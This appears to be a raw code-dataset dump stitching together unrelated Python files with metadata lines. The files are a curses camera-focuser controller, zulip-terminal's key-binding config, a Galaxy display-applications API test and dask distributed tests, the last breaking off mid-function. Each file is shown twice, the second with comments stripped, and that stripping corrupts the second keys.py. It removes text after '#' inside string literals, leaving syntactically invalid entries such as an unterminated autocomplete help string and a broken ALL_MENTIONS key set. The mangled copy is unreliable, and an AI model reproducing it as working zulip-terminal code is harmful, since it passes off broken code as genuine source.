{}".format(focuser.get(Focuser.OPT_FOCUS))[:width-1] zoom_value = "Zoom : {}".format(focuser.get(Focuser.OPT_ZOOM))[:width-1] motor_x_val = "MotorX : {}".format(focuser.get(Focuser.OPT_MOTOR_X))[:width-1] motor_y_val = "MotorY : {}".format(focuser.get(Focuser.OPT_MOTOR_Y))[:width-1] ircut_val = "IRCUT : {}".format(focuser.get(Focuser.OPT_IRCUT))[:width-1] if k == 0: keystr = "No key press detected..."[:width-1] start_x_title = int((width // 2) - (len(title) // 2) - len(title) % 2) start_x_subtitle = int((width // 2) - (len(subtitle) // 2) - len(subtitle) % 2) start_x_keystr = int((width // 2) - (len(keystr) // 2) - len(keystr) % 2) start_x_device_info = int((width // 2) - (len("Focus : 00000") // 2) - len("Focus : 00000") % 2) start_y = int((height // 2) - 6) stdscr.attron(curses.color_pair(2)) stdscr.attron(curses.A_BOLD) stdscr.addstr(start_y, start_x_title, title) stdscr.attroff(curses.color_pair(2)) stdscr.attroff(curses.A_BOLD) stdscr.addstr(start_y + 1, start_x_subtitle, subtitle) stdscr.addstr(start_y + 3, (width // 2) - 2, '-' * 4) stdscr.addstr(start_y + 5, start_x_keystr, keystr) stdscr.addstr(start_y + 6, start_x_device_info, focus_value) stdscr.addstr(start_y + 7, start_x_device_info, zoom_value) stdscr.addstr(start_y + 8, start_x_device_info, motor_x_val) stdscr.addstr(start_y + 9, start_x_device_info, motor_y_val) stdscr.addstr(start_y + 10, start_x_device_info, ircut_val) def parseKey(k,focuser,auto_focus,camera): global image_count motor_step = 5 focus_step = 100 zoom_step = 100 if k == ord('s'): focuser.set(Focuser.OPT_MOTOR_Y,focuser.get(Focuser.OPT_MOTOR_Y) + motor_step) elif k == ord('w'): focuser.set(Focuser.OPT_MOTOR_Y,focuser.get(Focuser.OPT_MOTOR_Y) - motor_step) elif k == ord('d'): focuser.set(Focuser.OPT_MOTOR_X,focuser.get(Focuser.OPT_MOTOR_X) - motor_step) elif k == ord('a'): focuser.set(Focuser.OPT_MOTOR_X,focuser.get(Focuser.OPT_MOTOR_X) + motor_step) elif k == ord('r'): focuser.reset(Focuser.OPT_FOCUS) focuser.reset(Focuser.OPT_ZOOM) elif k == curses.KEY_DOWN: focuser.set(Focuser.OPT_ZOOM,focuser.get(Focuser.OPT_ZOOM) - zoom_step) elif k == curses.KEY_UP: focuser.set(Focuser.OPT_ZOOM,focuser.get(Focuser.OPT_ZOOM) + zoom_step) elif k == curses.KEY_RIGHT: focuser.set(Focuser.OPT_FOCUS,focuser.get(Focuser.OPT_FOCUS) + focus_step) elif k == curses.KEY_LEFT: focuser.set(Focuser.OPT_FOCUS,focuser.get(Focuser.OPT_FOCUS) - focus_step) elif k == 10: auto_focus.startFocus() pass elif k == 32: focuser.set(Focuser.OPT_IRCUT,focuser.get(Focuser.OPT_IRCUT)^0x0001) pass elif k == ord('c'): cv2.imwrite("image{}.jpg".format(image_count), camera.getFrame()) image_count += 1 def draw_menu(stdscr,camera): focuser = Focuser(1) auto_focus = AutoFocus(focuser,camera) k = 0 cursor_x = 0 cursor_y = 0 stdscr.clear() stdscr.refresh() curses.start_color() curses.init_pair(1, curses.COLOR_CYAN, curses.COLOR_BLACK) curses.init_pair(2, curses.COLOR_RED, curses.COLOR_BLACK) curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) while (k != ord('q')): stdscr.clear() curses.flushinp() height, width = stdscr.getmaxyx() parseKey(k,focuser,auto_focus,camera) whstr = "Width: {}, Height: {}".format(width, height) stdscr.addstr(0, 0, whstr, curses.color_pair(1)) RenderDescription(stdscr) RenderStatusBar(stdscr) RenderMiddleText(stdscr,k,focuser) stdscr.refresh() k = stdscr.getch() def main(): camera = Camera() camera.start_preview() curses.wrapper(draw_menu,camera) camera.stop_preview() camera.close() if __name__ == "__main__": main()
true
true
f71f0b899f3bc15789f65e943d198f999ea55b6f
10,044
py
Python
zulipterminal/config/keys.py
fredrikekre/zulip-terminal
5609c78bdc45f972dc1f4bd30399bb6cafe5f332
[ "Apache-2.0" ]
null
null
null
zulipterminal/config/keys.py
fredrikekre/zulip-terminal
5609c78bdc45f972dc1f4bd30399bb6cafe5f332
[ "Apache-2.0" ]
null
null
null
zulipterminal/config/keys.py
fredrikekre/zulip-terminal
5609c78bdc45f972dc1f4bd30399bb6cafe5f332
[ "Apache-2.0" ]
1
2020-10-21T08:20:30.000Z
2020-10-21T08:20:30.000Z
from collections import OrderedDict from typing import List, Set from typing_extensions import TypedDict KeyBinding = TypedDict('KeyBinding', { 'keys': Set[str], 'help_text': str, 'excluded_from_random_tips': bool, 'key_category': str, }, total=False) KEY_BINDINGS = OrderedDict([ ('HELP', { 'keys': {'?'}, 'help_text': 'Show/hide help menu', 'excluded_from_random_tips': True, 'key_category': 'general', }), ('ABOUT', { 'keys': {'meta ?'}, 'help_text': 'Show/hide about menu', 'key_category': 'general', }), ('GO_BACK', { 'keys': {'esc'}, 'help_text': 'Go Back', 'excluded_from_random_tips': False, 'key_category': 'general', }), ('OPEN_DRAFT', { 'keys': {'d'}, 'help_text': 'Open draft message saved in this session', 'key_category': 'general', }), ('GO_UP', { 'keys': {'k', 'up'}, 'help_text': 'Go up/Previous message', 'key_category': 'navigation', }), ('GO_DOWN', { 'keys': {'j', 'down'}, 'help_text': 'Go down/Next message', 'key_category': 'navigation', }), ('GO_LEFT', { 'keys': {'h', 'left'}, 'help_text': 'Go left', 'key_category': 'navigation', }), ('GO_RIGHT', { 'keys': {'l', 'right'}, 'help_text': 'Go right', 'key_category': 'navigation', }), ('SCROLL_UP', { 'keys': {'K', 'page up'}, 'help_text': 'Scroll up', 'key_category': 'navigation', }), ('SCROLL_DOWN', { 'keys': {'J', 'page down'}, 'help_text': 'Scroll down', 'key_category': 'navigation', }), ('GO_TO_BOTTOM', { 'keys': {'G', 'end'}, 'help_text': 'Go to bottom/last message in view', 'key_category': 'navigation', }), ('REPLY_MESSAGE', { 'keys': {'r', 'enter'}, 'help_text': 'Reply to the current message', 'key_category': 'msg_actions', }), ('MENTION_REPLY', { 'keys': {'@'}, 'help_text': 'Reply mentioning the sender of the current message', 'key_category': 'msg_actions', }), ('QUOTE_REPLY', { 'keys': {'>'}, 'help_text': 'Reply quoting the current message text', 'key_category': 'msg_actions', }), ('REPLY_AUTHOR', { 'keys': {'R'}, 'help_text': 'Reply privately to the sender of the current message', 'key_category': 'msg_actions', }), ('EDIT_MESSAGE', { 'keys': {'e'}, 'help_text': "Edit current message's text or topic", 'key_category': 'msg_actions' }), ('STREAM_MESSAGE', { 'keys': {'c'}, 'help_text': 'New message to a stream', 'key_category': 'msg_actions', }), ('PRIVATE_MESSAGE', { 'keys': {'x'}, 'help_text': 'New message to a person or group of people', 'key_category': 'msg_actions', }), ('CYCLE_COMPOSE_FOCUS', { 'keys': {'tab'}, 'help_text': 'Cycle through recipient and content boxes', 'key_category': 'msg_compose', }), ('SEND_MESSAGE', { 'keys': {'meta enter', 'ctrl d'}, 'help_text': 'Send a message', 'key_category': 'msg_compose', }), ('SAVE_AS_DRAFT', { 'keys': {'meta s'}, 'help_text': 'Save current message as a draft', 'key_category': 'msg_compose', }), ('AUTOCOMPLETE', { 'keys': {'ctrl f'}, 'help_text': ('Autocomplete @mentions, #stream_names, :emoji:' ' and topics'), 'key_category': 'msg_compose', }), ('AUTOCOMPLETE_REVERSE', { 'keys': {'ctrl r'}, 'help_text': 'Cycle through autocomplete suggestions in reverse', 'key_category': 'msg_compose', }), ('STREAM_NARROW', { 'keys': {'s'}, 'help_text': 'Narrow to the stream of the current message', 'key_category': 'msg_actions', }), ('TOPIC_NARROW', { 'keys': {'S'}, 'help_text': 'Narrow to the topic of the current message', 'key_category': 'msg_actions', }), ('TOGGLE_NARROW', { 'keys': {'z'}, 'help_text': 'Narrow to a topic/private-chat, or stream/all-private-messages', 'key_category': 'msg_actions', }), ('TOGGLE_TOPIC', { 'keys': {'t'}, 'help_text': 'Toggle topics in a stream', 'key_category': 'stream_list', }), ('ALL_PM', { 'keys': {'P'}, 'help_text': 'Narrow to all private messages', 'key_category': 'navigation', }), ('ALL_STARRED', { 'keys': {'f'}, 'help_text': 'Narrow to all starred messages', 'key_category': 'navigation', }), ('ALL_MENTIONS', { 'keys': {'#'}, 'help_text': "Narrow to messages in which you're mentioned", 'key_category': 'navigation', }), ('NEXT_UNREAD_TOPIC', { 'keys': {'n'}, 'help_text': 'Next unread topic', 'key_category': 'navigation', }), ('NEXT_UNREAD_PM', { 'keys': {'p'}, 'help_text': 'Next unread private message', 'key_category': 'navigation', }), ('SEARCH_PEOPLE', { 'keys': {'w'}, 'help_text': 'Search users', 'key_category': 'searching', }), ('SEARCH_MESSAGES', { 'keys': {'/'}, 'help_text': 'Search Messages', 'key_category': 'searching', }), ('SEARCH_STREAMS', { 'keys': {'q'}, 'help_text': 'Search Streams', 'key_category': 'searching', }), ('SEARCH_TOPICS', { 'keys': {'q'}, 'help_text': 'Search topics in a stream', 'key_category': 'searching', }), ('TOGGLE_MUTE_STREAM', { 'keys': {'m'}, 'help_text': 'Mute/unmute Streams', 'key_category': 'stream_list', }), ('ENTER', { 'keys': {'enter'}, 'help_text': 'Perform current action', 'key_category': 'navigation', }), ('THUMBS_UP', { 'keys': {'+'}, 'help_text': 'Add/remove thumbs-up reaction to the current message', 'key_category': 'msg_actions', }), ('TOGGLE_STAR_STATUS', { 'keys': {'ctrl s', '*'}, 'help_text': 'Add/remove star status of the current message', 'key_category': 'msg_actions', }), ('MSG_INFO', { 'keys': {'i'}, 'help_text': 'View message information', 'key_category': 'msg_actions', }), ('EDIT_HISTORY', { 'keys': {'e'}, 'help_text': 'View edit history from message information box', 'excluded_from_random_tips': True, 'key_category': 'msg_actions', }), ('STREAM_DESC', { 'keys': {'i'}, 'help_text': 'View stream information & modify settings', 'key_category': 'stream_list', }), ('REDRAW', { 'keys': {'ctrl l'}, 'help_text': 'Redraw screen', 'key_category': 'general', }), ('QUIT', { 'keys': {'ctrl c'}, 'help_text': 'Quit', 'key_category': 'general', }), ('BEGINNING_OF_LINE', { 'keys': {'ctrl a'}, 'help_text': 'Jump to the beginning of the line', 'key_category': 'msg_compose', }), ('END_OF_LINE', { 'keys': {'ctrl e'}, 'help_text': 'Jump to the end of the line', 'key_category': 'msg_compose', }), ('ONE_WORD_BACKWARD', { 'keys': {'meta b'}, 'help_text': 'Jump backward one word', 'key_category': 'msg_compose', }), ('ONE_WORD_FORWARD', { 'keys': {'meta f'}, 'help_text': 'Jump forward one word', 'key_category': 'msg_compose', }), ('CUT_TO_END_OF_LINE', { 'keys': {'ctrl k'}, 'help_text': 'Cut forward to the end of the line', 'key_category': 'msg_compose', }), ('CUT_TO_START_OF_LINE', { 'keys': {'ctrl u'}, 'help_text': 'Cut backward to the start of the line', 'key_category': 'msg_compose', }), ('CUT_TO_END_OF_WORD', { 'keys': {'meta d'}, 'help_text': 'Cut forward to the end of the current word', 'key_category': 'msg_compose', }), ('CUT_TO_START_OF_WORD', { 'keys': {'ctrl w'}, 'help_text': 'Cut backward to the start of the current word', 'key_category': 'msg_compose', }), ('PREV_LINE', { 'keys': {'ctrl p', 'up'}, 'help_text': 'Jump to the previous line', 'key_category': 'msg_compose', }), ('NEXT_LINE', { 'keys': {'ctrl n', 'down'}, 'help_text': 'Jump to the next line', 'key_category': 'msg_compose', }), ('CLEAR_MESSAGE', { 'keys': {'ctrl l'}, 'help_text': 'Clear compose screen', 'key_category': 'msg_compose', }), ]) # type: OrderedDict[str, KeyBinding] HELP_CATEGORIES = OrderedDict([ ('general', 'General'), ('navigation', 'Navigation'), ('searching', 'Searching'), ('msg_actions', 'Actions for the selected message'), ('stream_list', 'Stream list actions'), ('msg_compose', 'Composing a Message'), ]) class InvalidCommand(Exception): pass def is_command_key(command: str, key: str) -> bool: """ Returns the mapped binding for a key if mapped or the key otherwise. """ try: return key in KEY_BINDINGS[command]['keys'] except KeyError as exception: raise InvalidCommand(command) def keys_for_command(command: str) -> Set[str]: """ Returns the actual keys for a given mapped command """ try: return set(KEY_BINDINGS[command]['keys']) except KeyError as exception: raise InvalidCommand(command) def commands_for_random_tips() -> List[KeyBinding]: """ Return list of commands which may be displayed as a random tip """ return [key_binding for key_binding in KEY_BINDINGS.values() if not key_binding.get('excluded_from_random_tips', False)]
29.282799
77
0.52718
from collections import OrderedDict from typing import List, Set from typing_extensions import TypedDict KeyBinding = TypedDict('KeyBinding', { 'keys': Set[str], 'help_text': str, 'excluded_from_random_tips': bool, 'key_category': str, }, total=False) KEY_BINDINGS = OrderedDict([ ('HELP', { 'keys': {'?'}, 'help_text': 'Show/hide help menu', 'excluded_from_random_tips': True, 'key_category': 'general', }), ('ABOUT', { 'keys': {'meta ?'}, 'help_text': 'Show/hide about menu', 'key_category': 'general', }), ('GO_BACK', { 'keys': {'esc'}, 'help_text': 'Go Back', 'excluded_from_random_tips': False, 'key_category': 'general', }), ('OPEN_DRAFT', { 'keys': {'d'}, 'help_text': 'Open draft message saved in this session', 'key_category': 'general', }), ('GO_UP', { 'keys': {'k', 'up'}, 'help_text': 'Go up/Previous message', 'key_category': 'navigation', }), ('GO_DOWN', { 'keys': {'j', 'down'}, 'help_text': 'Go down/Next message', 'key_category': 'navigation', }), ('GO_LEFT', { 'keys': {'h', 'left'}, 'help_text': 'Go left', 'key_category': 'navigation', }), ('GO_RIGHT', { 'keys': {'l', 'right'}, 'help_text': 'Go right', 'key_category': 'navigation', }), ('SCROLL_UP', { 'keys': {'K', 'page up'}, 'help_text': 'Scroll up', 'key_category': 'navigation', }), ('SCROLL_DOWN', { 'keys': {'J', 'page down'}, 'help_text': 'Scroll down', 'key_category': 'navigation', }), ('GO_TO_BOTTOM', { 'keys': {'G', 'end'}, 'help_text': 'Go to bottom/last message in view', 'key_category': 'navigation', }), ('REPLY_MESSAGE', { 'keys': {'r', 'enter'}, 'help_text': 'Reply to the current message', 'key_category': 'msg_actions', }), ('MENTION_REPLY', { 'keys': {'@'}, 'help_text': 'Reply mentioning the sender of the current message', 'key_category': 'msg_actions', }), ('QUOTE_REPLY', { 'keys': {'>'}, 'help_text': 'Reply quoting the current message text', 'key_category': 'msg_actions', }), ('REPLY_AUTHOR', { 'keys': {'R'}, 'help_text': 'Reply privately to the sender of the current message', 'key_category': 'msg_actions', }), ('EDIT_MESSAGE', { 'keys': {'e'}, 'help_text': "Edit current message's text or topic", 'key_category': 'msg_actions' }), ('STREAM_MESSAGE', { 'keys': {'c'}, 'help_text': 'New message to a stream', 'key_category': 'msg_actions', }), ('PRIVATE_MESSAGE', { 'keys': {'x'}, 'help_text': 'New message to a person or group of people', 'key_category': 'msg_actions', }), ('CYCLE_COMPOSE_FOCUS', { 'keys': {'tab'}, 'help_text': 'Cycle through recipient and content boxes', 'key_category': 'msg_compose', }), ('SEND_MESSAGE', { 'keys': {'meta enter', 'ctrl d'}, 'help_text': 'Send a message', 'key_category': 'msg_compose', }), ('SAVE_AS_DRAFT', { 'keys': {'meta s'}, 'help_text': 'Save current message as a draft', 'key_category': 'msg_compose', }), ('AUTOCOMPLETE', { 'keys': {'ctrl f'}, 'help_text': ('Autocomplete @mentions, ' and topics'), 'key_category': 'msg_compose', }), ('AUTOCOMPLETE_REVERSE', { 'keys': {'ctrl r'}, 'help_text': 'Cycle through autocomplete suggestions in reverse', 'key_category': 'msg_compose', }), ('STREAM_NARROW', { 'keys': {'s'}, 'help_text': 'Narrow to the stream of the current message', 'key_category': 'msg_actions', }), ('TOPIC_NARROW', { 'keys': {'S'}, 'help_text': 'Narrow to the topic of the current message', 'key_category': 'msg_actions', }), ('TOGGLE_NARROW', { 'keys': {'z'}, 'help_text': 'Narrow to a topic/private-chat, or stream/all-private-messages', 'key_category': 'msg_actions', }), ('TOGGLE_TOPIC', { 'keys': {'t'}, 'help_text': 'Toggle topics in a stream', 'key_category': 'stream_list', }), ('ALL_PM', { 'keys': {'P'}, 'help_text': 'Narrow to all private messages', 'key_category': 'navigation', }), ('ALL_STARRED', { 'keys': {'f'}, 'help_text': 'Narrow to all starred messages', 'key_category': 'navigation', }), ('ALL_MENTIONS', { 'keys': {' 'help_text': "Narrow to messages in which you're mentioned", 'key_category': 'navigation', }), ('NEXT_UNREAD_TOPIC', { 'keys': {'n'}, 'help_text': 'Next unread topic', 'key_category': 'navigation', }), ('NEXT_UNREAD_PM', { 'keys': {'p'}, 'help_text': 'Next unread private message', 'key_category': 'navigation', }), ('SEARCH_PEOPLE', { 'keys': {'w'}, 'help_text': 'Search users', 'key_category': 'searching', }), ('SEARCH_MESSAGES', { 'keys': {'/'}, 'help_text': 'Search Messages', 'key_category': 'searching', }), ('SEARCH_STREAMS', { 'keys': {'q'}, 'help_text': 'Search Streams', 'key_category': 'searching', }), ('SEARCH_TOPICS', { 'keys': {'q'}, 'help_text': 'Search topics in a stream', 'key_category': 'searching', }), ('TOGGLE_MUTE_STREAM', { 'keys': {'m'}, 'help_text': 'Mute/unmute Streams', 'key_category': 'stream_list', }), ('ENTER', { 'keys': {'enter'}, 'help_text': 'Perform current action', 'key_category': 'navigation', }), ('THUMBS_UP', { 'keys': {'+'}, 'help_text': 'Add/remove thumbs-up reaction to the current message', 'key_category': 'msg_actions', }), ('TOGGLE_STAR_STATUS', { 'keys': {'ctrl s', '*'}, 'help_text': 'Add/remove star status of the current message', 'key_category': 'msg_actions', }), ('MSG_INFO', { 'keys': {'i'}, 'help_text': 'View message information', 'key_category': 'msg_actions', }), ('EDIT_HISTORY', { 'keys': {'e'}, 'help_text': 'View edit history from message information box', 'excluded_from_random_tips': True, 'key_category': 'msg_actions', }), ('STREAM_DESC', { 'keys': {'i'}, 'help_text': 'View stream information & modify settings', 'key_category': 'stream_list', }), ('REDRAW', { 'keys': {'ctrl l'}, 'help_text': 'Redraw screen', 'key_category': 'general', }), ('QUIT', { 'keys': {'ctrl c'}, 'help_text': 'Quit', 'key_category': 'general', }), ('BEGINNING_OF_LINE', { 'keys': {'ctrl a'}, 'help_text': 'Jump to the beginning of the line', 'key_category': 'msg_compose', }), ('END_OF_LINE', { 'keys': {'ctrl e'}, 'help_text': 'Jump to the end of the line', 'key_category': 'msg_compose', }), ('ONE_WORD_BACKWARD', { 'keys': {'meta b'}, 'help_text': 'Jump backward one word', 'key_category': 'msg_compose', }), ('ONE_WORD_FORWARD', { 'keys': {'meta f'}, 'help_text': 'Jump forward one word', 'key_category': 'msg_compose', }), ('CUT_TO_END_OF_LINE', { 'keys': {'ctrl k'}, 'help_text': 'Cut forward to the end of the line', 'key_category': 'msg_compose', }), ('CUT_TO_START_OF_LINE', { 'keys': {'ctrl u'}, 'help_text': 'Cut backward to the start of the line', 'key_category': 'msg_compose', }), ('CUT_TO_END_OF_WORD', { 'keys': {'meta d'}, 'help_text': 'Cut forward to the end of the current word', 'key_category': 'msg_compose', }), ('CUT_TO_START_OF_WORD', { 'keys': {'ctrl w'}, 'help_text': 'Cut backward to the start of the current word', 'key_category': 'msg_compose', }), ('PREV_LINE', { 'keys': {'ctrl p', 'up'}, 'help_text': 'Jump to the previous line', 'key_category': 'msg_compose', }), ('NEXT_LINE', { 'keys': {'ctrl n', 'down'}, 'help_text': 'Jump to the next line', 'key_category': 'msg_compose', }), ('CLEAR_MESSAGE', { 'keys': {'ctrl l'}, 'help_text': 'Clear compose screen', 'key_category': 'msg_compose', }), ]) HELP_CATEGORIES = OrderedDict([ ('general', 'General'), ('navigation', 'Navigation'), ('searching', 'Searching'), ('msg_actions', 'Actions for the selected message'), ('stream_list', 'Stream list actions'), ('msg_compose', 'Composing a Message'), ]) class InvalidCommand(Exception): pass def is_command_key(command: str, key: str) -> bool: try: return key in KEY_BINDINGS[command]['keys'] except KeyError as exception: raise InvalidCommand(command) def keys_for_command(command: str) -> Set[str]: try: return set(KEY_BINDINGS[command]['keys']) except KeyError as exception: raise InvalidCommand(command) def commands_for_random_tips() -> List[KeyBinding]: return [key_binding for key_binding in KEY_BINDINGS.values() if not key_binding.get('excluded_from_random_tips', False)]
true
true
f71f0bf286ca8ce49bc5c297a075cd493190c592
2,108
py
Python
lib/galaxy_test/api/test_display_applications.py
rhpvorderman/galaxy
178015f8eff0b0c7a59c0d6756658f6428222837
[ "CC-BY-3.0" ]
1,085
2015-02-18T16:14:38.000Z
2022-03-30T23:52:07.000Z
lib/galaxy_test/api/test_display_applications.py
rhpvorderman/galaxy
178015f8eff0b0c7a59c0d6756658f6428222837
[ "CC-BY-3.0" ]
11,253
2015-02-18T17:47:32.000Z
2022-03-31T21:47:03.000Z
lib/galaxy_test/api/test_display_applications.py
rhpvorderman/galaxy
178015f8eff0b0c7a59c0d6756658f6428222837
[ "CC-BY-3.0" ]
1,000
2015-02-18T16:18:10.000Z
2022-03-29T08:22:56.000Z
import random from typing import List from ._framework import ApiTestCase class DisplayApplicationsApiTestCase(ApiTestCase): def test_index(self): response = self._get("display_applications") self._assert_status_code_is(response, 200) as_list = response.json() assert isinstance(as_list, list) assert len(as_list) > 0 for display_app in as_list: self._assert_has_keys(display_app, "id", "name", "version", "filename_", "links") def test_reload_as_admin(self): response = self._post("display_applications/reload", admin=True) self._assert_status_code_is(response, 200) def test_reload_with_some_ids(self): response = self._get("display_applications") self._assert_status_code_is(response, 200) display_apps = response.json() all_ids = [display_app["id"] for display_app in display_apps] input_ids = self._get_half_random_items(all_ids) payload = {'ids': input_ids} response = self._post("display_applications/reload", payload, admin=True) self._assert_status_code_is(response, 200) reloaded = response.json()["reloaded"] assert len(reloaded) == len(input_ids) assert all(elem in reloaded for elem in input_ids) def test_reload_unknow_returns_as_failed(self): unknown_id = "unknown" payload = {'ids': [unknown_id]} response = self._post("display_applications/reload", payload, admin=True) self._assert_status_code_is(response, 200) reloaded = response.json()["reloaded"] failed = response.json()["failed"] assert len(reloaded) == 0 assert len(failed) == 1 assert unknown_id in failed def test_reload_as_non_admin_returns_403(self): response = self._post("display_applications/reload") self._assert_status_code_is(response, 403) def _get_half_random_items(self, collection: List[str]) -> List[str]: half_num_items = int(len(collection) / 2) rval = random.sample(collection, half_num_items) return rval
39.037037
93
0.680266
import random from typing import List from ._framework import ApiTestCase class DisplayApplicationsApiTestCase(ApiTestCase): def test_index(self): response = self._get("display_applications") self._assert_status_code_is(response, 200) as_list = response.json() assert isinstance(as_list, list) assert len(as_list) > 0 for display_app in as_list: self._assert_has_keys(display_app, "id", "name", "version", "filename_", "links") def test_reload_as_admin(self): response = self._post("display_applications/reload", admin=True) self._assert_status_code_is(response, 200) def test_reload_with_some_ids(self): response = self._get("display_applications") self._assert_status_code_is(response, 200) display_apps = response.json() all_ids = [display_app["id"] for display_app in display_apps] input_ids = self._get_half_random_items(all_ids) payload = {'ids': input_ids} response = self._post("display_applications/reload", payload, admin=True) self._assert_status_code_is(response, 200) reloaded = response.json()["reloaded"] assert len(reloaded) == len(input_ids) assert all(elem in reloaded for elem in input_ids) def test_reload_unknow_returns_as_failed(self): unknown_id = "unknown" payload = {'ids': [unknown_id]} response = self._post("display_applications/reload", payload, admin=True) self._assert_status_code_is(response, 200) reloaded = response.json()["reloaded"] failed = response.json()["failed"] assert len(reloaded) == 0 assert len(failed) == 1 assert unknown_id in failed def test_reload_as_non_admin_returns_403(self): response = self._post("display_applications/reload") self._assert_status_code_is(response, 403) def _get_half_random_items(self, collection: List[str]) -> List[str]: half_num_items = int(len(collection) / 2) rval = random.sample(collection, half_num_items) return rval
true
true
f71f0c081079515df5975201c3eb0b6fb8e937f3
20,739
py
Python
dask/tests/test_distributed.py
mmccarty/dask
5602876f3389d039aba0d1a860922777843dbcb9
[ "BSD-3-Clause" ]
null
null
null
dask/tests/test_distributed.py
mmccarty/dask
5602876f3389d039aba0d1a860922777843dbcb9
[ "BSD-3-Clause" ]
null
null
null
dask/tests/test_distributed.py
mmccarty/dask
5602876f3389d039aba0d1a860922777843dbcb9
[ "BSD-3-Clause" ]
null
null
null
import pytest distributed = pytest.importorskip("distributed") import asyncio import os from functools import partial from operator import add from distributed.utils_test import client as c # noqa F401 from distributed.utils_test import cluster_fixture # noqa F401 from distributed.utils_test import loop # noqa F401 from distributed.utils_test import cluster, gen_cluster, inc, varying import dask import dask.bag as db from dask import compute, delayed, persist from dask.delayed import Delayed from dask.distributed import futures_of, wait from dask.highlevelgraph import HighLevelGraph, MaterializedLayer from dask.utils import get_named_args, tmpdir, tmpfile if "should_check_state" in get_named_args(gen_cluster): gen_cluster = partial(gen_cluster, should_check_state=False) cluster = partial(cluster, should_check_state=False) def test_can_import_client(): from dask.distributed import Client # noqa: F401 def test_can_import_nested_things(): from dask.distributed.protocol import dumps # noqa: F401 @gen_cluster(client=True) async def test_persist(c, s, a, b): x = delayed(inc)(1) (x2,) = persist(x) await wait(x2) assert x2.key in a.data or x2.key in b.data y = delayed(inc)(10) y2, one = persist(y, 1) await wait(y2) assert y2.key in a.data or y2.key in b.data def test_persist_nested(c): a = delayed(1) + 5 b = a + 1 c = a + 2 result = persist({"a": a, "b": [1, 2, b]}, (c, 2), 4, [5]) assert isinstance(result[0]["a"], Delayed) assert isinstance(result[0]["b"][2], Delayed) assert isinstance(result[1][0], Delayed) sol = ({"a": 6, "b": [1, 2, 7]}, (8, 2), 4, [5]) assert compute(*result) == sol res = persist([a, b], c, 4, [5], traverse=False) assert res[0][0] is a assert res[0][1] is b assert res[1].compute() == 8 assert res[2:] == (4, [5]) def test_futures_to_delayed_dataframe(c): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3]}) futures = c.scatter([df, df]) ddf = dd.from_delayed(futures) dd.utils.assert_eq(ddf.compute(), pd.concat([df, df], axis=0)) with pytest.raises(TypeError): ddf = dd.from_delayed([1, 2]) @pytest.mark.parametrize("fuse", [True, False]) def test_fused_blockwise_dataframe_merge(c, fuse): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") # Generate two DataFrames with more partitions than # the `max_branch` default used for shuffling (32). # We need a multi-stage shuffle to cover #7178 fix. size = 35 df1 = pd.DataFrame({"x": range(size), "y": range(size)}) df2 = pd.DataFrame({"x": range(size), "z": range(size)}) ddf1 = dd.from_pandas(df1, npartitions=size) + 10 ddf2 = dd.from_pandas(df2, npartitions=5) + 10 df1 += 10 df2 += 10 with dask.config.set({"optimization.fuse.active": fuse}): ddfm = ddf1.merge(ddf2, on=["x"], how="left") ddfm.head() # https://github.com/dask/dask/issues/7178 dfm = ddfm.compute().sort_values("x") # We call compute above since `sort_values` is not # supported in `dask.dataframe` dd.utils.assert_eq( dfm, df1.merge(df2, on=["x"], how="left").sort_values("x"), check_index=False ) def test_futures_to_delayed_bag(c): L = [1, 2, 3] futures = c.scatter([L, L]) b = db.from_delayed(futures) assert list(b) == L + L def test_futures_to_delayed_array(c): da = pytest.importorskip("dask.array") from dask.array.utils import assert_eq np = pytest.importorskip("numpy") x = np.arange(5) futures = c.scatter([x, x]) A = da.concatenate( [da.from_delayed(f, shape=x.shape, dtype=x.dtype) for f in futures], axis=0 ) assert_eq(A.compute(), np.concatenate([x, x], axis=0)) @gen_cluster(client=True) async def test_local_get_with_distributed_active(c, s, a, b): with dask.config.set(scheduler="sync"): x = delayed(inc)(1).persist() await asyncio.sleep(0.01) assert not s.tasks # scheduler hasn't done anything x = delayed(inc)(2).persist(scheduler="sync") # noqa F841 await asyncio.sleep(0.01) assert not s.tasks # scheduler hasn't done anything def test_to_hdf_distributed(c): pytest.importorskip("numpy") pytest.importorskip("pandas") from ..dataframe.io.tests.test_hdf import test_to_hdf test_to_hdf() @pytest.mark.parametrize( "npartitions", [ 1, pytest.param( 4, marks=pytest.mark.xfail(reason="HDF not multi-process safe", strict=False), ), pytest.param( 10, marks=pytest.mark.xfail(reason="HDF not multi-process safe", strict=False), ), ], ) def test_to_hdf_scheduler_distributed(npartitions, c): pytest.importorskip("numpy") pytest.importorskip("pandas") from ..dataframe.io.tests.test_hdf import test_to_hdf_schedulers test_to_hdf_schedulers(None, npartitions) @gen_cluster(client=True) async def test_serializable_groupby_agg(c, s, a, b): pd = pytest.importorskip("pandas") dd = pytest.importorskip("dask.dataframe") df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [1, 0, 1, 0]}) ddf = dd.from_pandas(df, npartitions=2) result = ddf.groupby("y").agg("count", split_out=2) # Check Culling and Compute agg0 = await c.compute(result.partitions[0]) agg1 = await c.compute(result.partitions[1]) dd.utils.assert_eq( pd.concat([agg0, agg1]), pd.DataFrame({"x": [2, 2], "y": [0, 1]}).set_index("y"), ) def test_futures_in_graph(c): x, y = delayed(1), delayed(2) xx = delayed(add)(x, x) yy = delayed(add)(y, y) xxyy = delayed(add)(xx, yy) xxyy2 = c.persist(xxyy) xxyy3 = delayed(add)(xxyy2, 10) assert xxyy3.compute(scheduler="dask.distributed") == ((1 + 1) + (2 + 2)) + 10 def test_zarr_distributed_roundtrip(c): da = pytest.importorskip("dask.array") pytest.importorskip("zarr") with tmpdir() as d: a = da.zeros((3, 3), chunks=(1, 1)) a.to_zarr(d) a2 = da.from_zarr(d) da.assert_eq(a, a2, scheduler=c) assert a2.chunks == a.chunks def test_zarr_in_memory_distributed_err(c): da = pytest.importorskip("dask.array") zarr = pytest.importorskip("zarr") chunks = (1, 1) a = da.ones((3, 3), chunks=chunks) z = zarr.zeros_like(a, chunks=chunks) with pytest.raises(RuntimeError): a.to_zarr(z) def test_scheduler_equals_client(c): x = delayed(lambda: 1)() assert x.compute(scheduler=c) == 1 assert c.run_on_scheduler(lambda dask_scheduler: dask_scheduler.story(x.key)) @gen_cluster(client=True) async def test_await(c, s, a, b): x = dask.delayed(inc)(1) x = await x.persist() assert x.key in s.tasks assert a.data or b.data assert all(f.done() for f in futures_of(x)) def test_local_scheduler(): async def f(): x = 